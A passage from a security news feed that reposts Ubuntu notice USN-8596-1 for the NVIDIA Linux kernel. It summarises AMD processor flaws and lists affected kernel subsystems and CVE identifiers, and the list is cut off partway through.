  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8596-1: Linux kernel (NVIDIA) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688351/unix-server/usn-8596-1-linux-kernel-nvidia-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:20:28 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23226, CVE-2026-23227, CVE-2026-23244, CVE-2026-23245,
CVE-2026-23246, CVE-2026-23253, CVE-2026-23255, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23276, CVE-2026-23277, CVE-2026-23279,
CVE-2026-23281, CVE-2026-23284, CVE-2026-23285, CVE-2026-23286,
CVE-2026-23287, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291,
CVE-2026-23292, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298,
CVE-2026-23300, CVE-2026-23302, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23306, CVE-2026-23307, CVE-2026-23308, CVE-2026-23310,
CVE-2026-23312, CVE-2026-23313, CVE-2026-23315, CVE-2026-23317,
CVE-2026-23318, CVE-2026-23319, CVE-2026-23321, CVE-2026-23324,
CVE-2026-23325, CVE-2026-23330, CVE-2026-23334, CVE-2026-23335,
CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23343,
CVE-2026-23347, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23360, CVE-2026-23361, CVE-2026-23362,
CVE-2026-23363, CVE-2026-23364, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23369, CVE-2026-23370, CVE-2026-23372,
CVE-2026-23374, CVE-2026-23375, CVE-2026-23378, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23383, CVE-2026-23386,
CVE-2026-23387, CVE-2026-23388, CVE-2026-23389, CVE-2026-23391,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413,
CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420,
CVE-2026-23426, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439,
CVE-2026-23440, CVE-2026-23441, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23447, CVE-2026-23448, CVE-2026-23449,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457,
CVE-2026-23458, CVE-2026-23460, CVE-2026-23461, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23464, CVE-2026-23465, CVE-2026-23468,
CVE-2026-23470, CVE-2026-23474, CVE-2026-23475, CVE-2026-31389,
CVE-2026-31391, CVE-2026-31392, CVE-2026-31393, CVE-2026-31394,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31403,
CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409,
CVE-2026-31412, CVE-2026-31413, CVE-2026-31414, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31426,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31429, CVE-2026-31430,
CVE-2026-31432, CVE-2026-31433, CVE-2026-31434, CVE-2026-31438,
CVE-2026-31439, CVE-2026-31440, CVE-2026-31441, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31480, CVE-2026-31482,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488,
CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495,
